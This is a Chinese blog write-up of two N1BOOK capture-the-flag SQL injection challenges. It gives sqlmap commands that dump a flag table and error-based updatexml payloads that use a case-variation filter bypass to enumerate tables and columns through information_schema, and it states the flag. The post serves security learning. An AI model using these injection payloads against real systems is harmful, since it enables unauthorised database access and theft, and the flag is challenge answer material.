N1BOOK[第一章 web入门]SQL注入

1、​SQL注入-1

字符型注入 

sqlmap -u "4efa8924-4ce4-4149-81a4-270d5e9e83a9.challenge.qsnctf.com:8081/index.php?id=1" --current-db 

sqlmap -u "4efa8924-4ce4-4149-81a4-270d5e9e83a9.challenge.qsnctf.com:8081/index.php?id=1" -D note --tables

 

sqlmap -u "4efa8924-4ce4-4149-81a4-270d5e9e83a9.challenge.qsnctf.com:8081/index.php?id=1" -D note  -T fl4g --columns

sqlmap -u "4efa8924-4ce4-4149-81a4-270d5e9e83a9.challenge.qsnctf.com:8081/index.php?id=1" -D note  -T fl4g  -C fllllag --dump

 SQL注入-2

请访问:
/login.php
/user.php

 

 

 Burp抓包

url后加入?tips=1 开启mysql错误提示

 

用dual进行测试name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx(密码写啥都行,因为前面注释掉密码了)

string(166) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'from dual)),1)-- '' at line 1"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
根据报错的提示我们可以发现是select被过滤了,尝试一下大小写绕过name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+,成功得到正常回显

 

开始注入
查表名
将sELEct后的1改为group_concat(table_name),
dual改为information_schema.tables where table_schema=database()以查看所有表名
得到payload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

 

查字段名

要看fl4g的字段,分别改为把之前的两个地方改为
group_concat(column_name)和information_schema.columns where table_name=‘fl4g’

得到payload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

 

查看字段获取flag

  payload:name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

n1book{login_sqli_is_nice}
 

参考(14条消息) N1BOOK第六关摸鱼:[第一章 web入门]SQL注入-2_MR.QQQQIU的博客-CSDN博客_buuctf [第一章 web入门]sql注入-2 1

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Element_南笙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值